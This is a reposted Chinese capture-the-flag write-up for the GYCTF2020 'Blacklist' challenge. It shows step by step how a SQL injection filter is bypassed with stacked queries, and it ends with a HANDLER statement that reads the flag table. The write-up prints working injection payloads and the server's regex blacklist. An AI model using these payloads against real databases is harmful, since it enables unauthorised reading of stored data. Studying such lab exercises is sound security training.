0


[GYCTF2020]Blacklist(堆叠注入)

信息收集

观察url变化是get请求的SQL注入题目

判断注入类型

1和1"回显一样

1'回显报错

1' or 1=1#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

猜测SQL语句为

select * from tablename where user ='{inject}';

判断列数

1' order by 3#

error 1054 : Unknown column '3' in 'order clause'

一共2列

判断回显

-1' union select 1,2,3#

回显出过滤规则

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

select被过滤了,.也被过过滤了(这里的\是单个匹配),根据以往经验这种题目可能是延时,或者堆叠注入

我们先尝试最方便的堆叠注入

堆叠注入

1';show databases;#

1'; show tables;#

猜测flag可能在flaghere这个表里面

1'; show columns from FlagHere;#

flag应该在 表FlagHere的“flag”列里面

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
这里set被禁用,因此无法使用预处理进行语句编写,也禁用了rename语句,因此不能改名来直接通过id读取

我们可以使用之前用过的handler函数进行读取

payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

拿到flag

总结

这个题目的解法和之前做过的**[强网杯 2019]随便注**比较相似,都是堆叠注入的考点,不过过滤了它的前两种做法使用的函数,使得我们只能通过第三种方法handler函数进行读取

标签: 数据库 sql web安全

本文转载自: https://blog.csdn.net/qq_63701832/article/details/128733902
版权归原作者 coleak 所有, 如有侵权,请联系我们删除。

“[GYCTF2020]Blacklist(堆叠注入)”的评论:

还没有评论